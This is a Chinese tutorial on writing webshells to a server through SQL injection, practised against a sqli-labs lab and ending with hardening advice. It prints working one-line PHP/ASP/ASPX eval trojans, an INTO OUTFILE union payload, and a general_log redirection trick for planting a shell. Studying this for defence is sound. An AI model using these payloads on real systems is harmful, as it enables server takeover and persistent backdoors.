导读

本文主要介绍了利用sql漏洞上传文件的一些知识。在利用sql注入漏洞上传文件的时候我们需要知道

  1. 被上传的网页 在web服务器的路径
  2. 上传文件要获取哪些权限,也就是有哪些前提条件
  3. 上传的文件中我们应该写什么内容,也就是如何写木马程序
  4. 上传之后会对服务器造成哪些危害,应该怎么防护

1. sql注入的危害

  1. 获取数据—读数据库,读系统文件
  2. 文件操作
  3. 执行系统命令
  4. 改注册表

2. 文件写入

掌握利用写入函数写入shell

掌握利用日志文件写入shell

主要是文件写入 与 下载

2.1 webshell、一句话木马、后门

个人理解
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

对于网站管理员来说,webshell就是一个工具,可以用来管理服务器,系统权限。

  1. 对于攻击者而言,上传木马文件的过程就是 getshell 的过程,
  2. 攻击者上传payload并成功执行后,可以看到网站后台目录,能够进行网站服务器的管控,权限的管控,此过程就是获取webshell。
  3. 上传 payload 之后,下次通过上传的 payload ,借用Cknife,蚁剑等工具直接连接到网站,对后台进行管控,以此造成持续化的攻击,此过程就是留后门的过程。

webshell(大马)

webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

一句话木马

一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法

一句话木马还可以与sql注入漏洞结合使用,利用回显注入,将一句话木马写入网页的根目录。

php一句话木马:  <?php @eval($_POST[value]); ?>    // @ 表示即使报错也会继续执行
asp一句话木马:  <%eval request ("value")%> 或  <% execute(request("value")) %>   
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
 //eval 和 execute 表示获取并执行后面的内容	 

<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中

成功执行一句话木马的条件

  1. 木马成功上传,未被拦截
  2. 攻击者可以获取网页的整个目录,也就是要知道木马的路径
  3. 上传木马文件可以被web服务器执行

木马文件的危害

  1. 可以获取被感染主机的敏感数据
  2. 占用系统CPU资源等,甚至导致系统故障
  3. 对被感染主机进行更改密码,删除文件,修改注册表

2.2 文件写入的前提条件

  1. 有网站的绝对路径 – 怎么找
    2.mysql服务对网站的网络路径有 写权限
    1. 文件夹权限;文件权限;用户权限
  2. secure_ file _ priv=’’ 表示不允许写入或导出
    1. 启动phpstudy,在my.ini中添加此句
  3. mysql连接用户有file权限
  4. 未对sql语句进行转义

2.3 写入函数

outfile;dumpfile

select * from user into outfile "d:\\1.php"
select * from user into dumpfile "d:\\1.php"
show variables like '%secure%'    //查看 secure-file-priv 当前的值

2.4 怎么找网站根目录(绝对路径)

必须上传到网站根目录,否则无法执行

  1. 根据泄露的信息

    输入域名例如:127.0.0.1/123.php

  2. 手工报错信息

    响应包中可能会出现此类信息

  3. 根据经验,对Apache,linux,iis的了解

2.5 只能与回显注入结合

id=-1' union select 1,"<?php eval($_POST['aaa']);?>",3 
into OUTFILE 'd:\\1.php' --+
-- sql-libs less-1 为例

在这里插入图片描述然后打开D盘,发现 1.php 成功写入

经过测试,与报错注入,盲注结合,得不到想要的结果

因此无法利用报错注入和盲注进行文件上传到服务器

2.6 日志写文件

日志也是文件,因此可以将一句话木马写入日志

  1. 首先查看日志权限,开启文件权限

     show variables like '%general%'	 //查看日志权限
     set GLOBAL general_log=1                //开启文件权限
     set GLOBAL general_log_file='d:\\路径'	 //改变日志地址
    
  2. LAPTOP-NDINB3J0.log 会记录每一条查询语句,因此先将记录日志的文件改掉,然后再对此文件写入木马

关键点:知道根目录的路径 和 命令要被执行

2.7 文件读取

前提条件

  1. 有读取文件的绝对路径
  2. mysql服务对路径有读的权限
  3. mysql连接用户有file权限
  4. secure_file_priv=’’

读取函数

  1. 读取数据函数 load_file(<‘绝对路径’>)

     select load_file('d:\\1.php')
    

在这里插入图片描述

2.8 针对文件写入的防护

  1. 权限最小化

    例如: secure-file-priv
    linux中 的读写执行权限的设置

  2. 功能最小化—把不需要的端口关闭

    例如 ftp,telnet等端口

  3. 服务最小化

  4. 添加过滤

  5. 预编译

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐